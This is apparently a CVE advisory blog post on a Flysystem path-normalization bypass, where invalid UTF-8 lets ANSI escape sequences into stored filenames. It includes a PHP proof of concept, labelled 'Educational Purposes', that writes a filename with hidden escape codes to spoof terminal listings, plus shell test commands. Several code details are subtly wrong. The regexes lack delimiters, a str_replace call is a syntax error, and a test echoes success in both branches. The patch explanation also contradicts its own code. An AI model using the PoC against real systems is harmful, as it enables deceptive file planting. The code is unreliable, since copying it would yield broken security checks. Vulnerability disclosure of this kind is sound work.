Flysystem, Path Normalization Bypass, CVE-2026-102601 (Low) -DC-Sep2026-2628

Listen to this Post

CVE-2026-102601 is a vulnerability in the PHP League’s Flysystem file storage library that allows malformed UTF-8 sequences in file paths to bypass the default control-character detection mechanism. The flaw exists in `src/WhitespacePathNormalizer.php` within the `normalizePath()` method, which serves as the default `PathNormalizer` for every storage adapter including Local, FTP, SFTP, S3, AsyncAwsS3, Azure, GCS, ZipArchive, GridFS, and InMemory.
The root cause stems from improper handling of PCRE return values. When the `preg_match()` function is called with the `/u` modifier on a string containing invalid UTF-8, the PCRE engine cannot attempt the match and returns `false` rather than 0. Since both `false` and `0` are falsy in PHP, the conditional check `if (preg_match(…))` fails to distinguish between a successful match with no findings and an engine-level error. This means that a path containing any single invalid UTF-8 byte anywhere in the string causes the control-character detection to silently fail, allowing paths containing ANSI escape sequences to pass through unfiltered.
The practical impact is significant. An attacker can craft filenames containing terminal escape sequences that, when displayed by an administrator using Filesystem::listContents(), manipulate the terminal display to hide files or spoof directory contents. For example, a path like `foo\x80\x1bbar` would bypass the check because the `0x80` byte is an invalid lone UTF-8 continuation byte, while the identical payload `foo\x1bbar` with valid UTF-8 encoding would correctly throw CorruptedPathDetected. The path-traversal protection remains unaffected since it relies on exact byte-string comparison independent of UTF-8 validity. This issue was addressed in Flysystem version 3.35.3 by changing the comparison to $matched !== 0, which correctly treats both `false` and `0` as rejection conditions.

DailyCVE Form

Platform: PHP League Flysystem
Version: < 3.35.3
Vulnerability: Malformed UTF-8 path bypass
Severity: Low
date: 2026-09-29

Prediction: 2026-10-15

What Undercode Say:

Analytics

Verify Flysystem version in composer
composer show league/flysystem
Check the vulnerable normalizer implementation
cat vendor/league/flysystem/src/WhitespacePathNormalizer.php
Test the bypass condition locally
php -r "
\$path = \"foo\x80\x1bbar\";
\$unixPath = str_replace('\\', '/', \$path);
var_dump(preg_match('\\p{C}+u', \$unixPath));
var_dump(preg_last_error_msg());
"
Expected output on vulnerable version
bool(false)
string(23) "Malformed UTF-8 characters"
// Vulnerable pattern (prior to 3.35.3)
public function normalizePath(string $path): string
{
$unixPath = str_replace('\', '/', $path);
if (preg_match('\p{C}+u', $unixPath)) { // Bypassed when preg_match returns false
throw CorruptedPathDetected::forPath($path);
}
return $unixPath;
}
// Patched pattern (3.35.3+)
public function normalizePath(string $path): string
{
$unixPath = str_replace('\', '/', $path);
$matched = preg_match('\p{C}+u', $unixPath);
if ($matched !== 0) { // Correctly catches false and positive matches
throw CorruptedPathDetected::forPath($path);
}
return $unixPath;
}

Exploit: (Educational Purposes!)

<?php
// Demonstration of CVE-2026-102601 bypass
// Requires: league/flysystem < 3.35.3
use League\Flysystem\Filesystem;
use League\Flysystem\Local\LocalFilesystemAdapter;
$adapter = new LocalFilesystemAdapter('/tmp/flysystem-test');
$filesystem = new Filesystem($adapter);
// Malformed UTF-8 (0x80) followed by ESC (0x1b) and terminal escape sequence
$maliciousPath = "foo\x80\x1b[8mhidden\x1b[0m.txt";
// The normalizer fails to detect the control character due to invalid UTF-8
$filesystem->write($maliciousPath, 'malicious content');
// Subsequent listing reveals raw escape sequences
foreach ($filesystem->listContents('/') as $item) {
// Terminal interprets embedded ANSI codes
echo $item->path() . "\n";
}
// Verify with cat -v
// system('cat -v /tmp/flysystem-test/foo');
?>
Manual verification commands
php -r "
\$n = new League\Flysystem\WhitespacePathNormalizer();
try {
\$n->normalizePath(\"foo\x1bbar\"); // Throws (correct)
echo 'valid-threw';
} catch (Exception \$e) { echo 'valid-threw'; }
try {
\$n->normalizePath(\"foo\x80\x1bbar\"); // Does NOT throw (bypass)
echo 'invalid-bypassed';
} catch (Exception \$e) { echo 'invalid-threw'; }
"

Protection:

Upgrade Flysystem to version 3.35.3 or later, which fixes the comparison logic in WhitespacePathNormalizer::normalizePath(). The patched version uses `if ($matched !== 0)` instead of the vulnerable `if (preg_match(…))` pattern, correctly treating both `false` (PCRE engine error) and positive match results as rejection conditions.
For applications unable to immediately upgrade, implement a custom `PathNormalizer` that validates UTF-8 encoding before passing paths to the default normalizer, or explicitly reject any path where preg_match('//u', $path) !== 1. Additionally, sanitize output from `listContents()` before displaying in terminal environments, and consider escaping or stripping ANSI escape sequences from filenames at the application layer.

Impact:

The vulnerability enables stored filenames to contain raw ANSI escape sequences that are returned unfiltered by Filesystem::listContents(). When administrators view directory listings in terminals, these escape codes are interpreted as commands rather than literal text, allowing attackers to hide files, spoof filenames, or manipulate terminal display. This constitutes a low-severity vulnerability (CVSS 3.5) with partial technical impact, classified under CWE-150 for improper neutralization of escape and control sequences. The path-traversal protections remain unaffected as they rely on byte-string comparison independent of UTF-8 validity.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top